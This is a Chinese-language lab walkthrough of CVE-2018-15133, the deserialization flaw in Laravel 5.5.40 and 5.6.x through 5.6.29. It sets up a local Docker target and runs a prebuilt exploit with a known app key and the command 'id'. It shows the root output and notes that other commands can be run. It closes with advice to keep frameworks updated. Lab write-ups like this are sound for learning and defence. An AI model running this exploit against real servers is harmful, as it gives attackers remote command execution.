利用CVE-2018-15133反序列化漏洞
此利用针对Laravel框架5.5.40及5.6.x至5.6.29版本中的反序列化漏洞。
远程代码执行可能源于对潜在不可信的X-XSRF-TOKEN值进行unserialize调用。这涉及Illuminate/Encryption/Encrypter.php中的decrypt方法以及phpggc中gadgetchains/Laravel/RCE/3/chain.php的PendingBroadcast。攻击者必须知道应用密钥,正常情况下这不会发生,但如果攻击者之前拥有特权访问权限或成功完成了之前的攻击,则可能发生。
要执行此利用,你需要在机器上安装以下内容:
下载并安装Docker。
以管理员身份打开Docker。
打开cmd并拉取Docker机器。
docker pull kozmico/laravel-poc-cve-2018-15133
docker run --name my-laravel-app -p 8000:80 -d kozmico/laravel-poc-cve-2018-15133
这将启动Laravel机器。
尝试在浏览器中打开该机器以确保机器正常运行。
你可以使用IP和端口来操作,在Windows上检查IP运行:
ipconfig
在Linux上:
ifconfig
wsl --set-default-version 2
wsl --update
将利用文件下载到你的机器。
打开终端并导航到利用文件所在的文件夹。
运行以下命令来利用服务器:
./CVE-2018-15133 -URL http://localhost:8000 -API_KEY 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -command "id"
这应返回目标机器的ID。你也可以使用类似命令来请求文件夹以及执行其他任务。
响应: uid=0(root) gid=0(root) groups=0(root)
总之,通过此漏洞,我们观察到了保持框架更新的重要性。因为这些工具可能存在安全缺陷并且被广泛使用,如果我们不保持更新,就会面临风险。